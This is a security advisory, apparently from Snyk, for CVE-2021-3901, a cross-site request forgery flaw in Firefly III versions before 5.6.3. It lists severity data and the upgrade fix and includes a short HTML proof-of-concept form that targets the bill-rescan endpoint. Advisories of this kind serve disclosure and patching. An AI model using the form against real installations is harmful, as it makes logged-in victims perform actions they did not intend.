Cross-site Request Forgery (CSRF) Affecting grumpydictator/firefly-iii package, versions >=0.0.0, <5.6.3


Severity

Recommended
0.0
low
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.13% (49th percentile)

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  • Snyk IDSNYK-PHP-GRUMPYDICTATORFIREFLYIII-1768027
  • published28 Oct 2021
  • disclosed28 Oct 2021
  • creditamammad

Introduced: 28 Oct 2021

CVE-2021-3901  (opens in a new tab)
CWE-352  (opens in a new tab)

How to fix?

Upgrade grumpydictator/firefly-iii to version 5.6.3 or higher.

Overview

grumpydictator/firefly-iii is a personal finances manager.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to running rules again action.

POC

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.firefly-iii.org/bills/rescan/2">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

References

CVSS Scores

version 3.1